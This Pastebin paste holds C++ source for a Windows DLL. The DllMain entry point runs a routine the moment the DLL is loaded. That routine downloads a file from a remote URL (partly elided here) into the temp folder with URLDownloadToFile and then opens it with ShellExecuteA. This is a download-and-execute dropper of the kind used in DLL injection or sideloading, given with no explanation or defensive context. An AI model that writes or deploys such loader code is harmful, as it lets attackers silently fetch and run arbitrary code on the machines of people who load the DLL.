Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include<Windows.h>
- #include "shellapi.h"
- #pragma comment(lib, "Shell32.lib")
- #include <iostream>
- #include <string>
- #pragma comment(lib, "urlmon.lib")
- TCHAR szTempPathBuffer[MAX_PATH];
- std::string dwnld_URL = "http://....com/test.txt";
- std::string savepath;
- HRESULT hr;
- void on_run() {
- GetTempPath(MAX_PATH, szTempPathBuffer);
- savepath = szTempPathBuffer;
- savepath.append("\\filename.txt");
- hr = URLDownloadToFile(NULL, dwnld_URL.c_str(), savepath.c_str(), 0, NULL);
- if (SUCCEEDED(hr)) ShellExecuteA(NULL, "open", savepath.c_str(), NULL, NULL, SW_SHOWNORMAL);
- //ShellExecuteA(NULL, "open", "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
- }
- BOOL APIENTRY DllMain(HINSTANCE hinstDLL,
- DWORD fdwReason, LPVOID lpvReserved)
- {
- switch (fdwReason)
- {
- case DLL_PROCESS_ATTACH:
- on_run();
- return 1;
- case DLL_PROCESS_DETACH:
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- }
- return TRUE;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement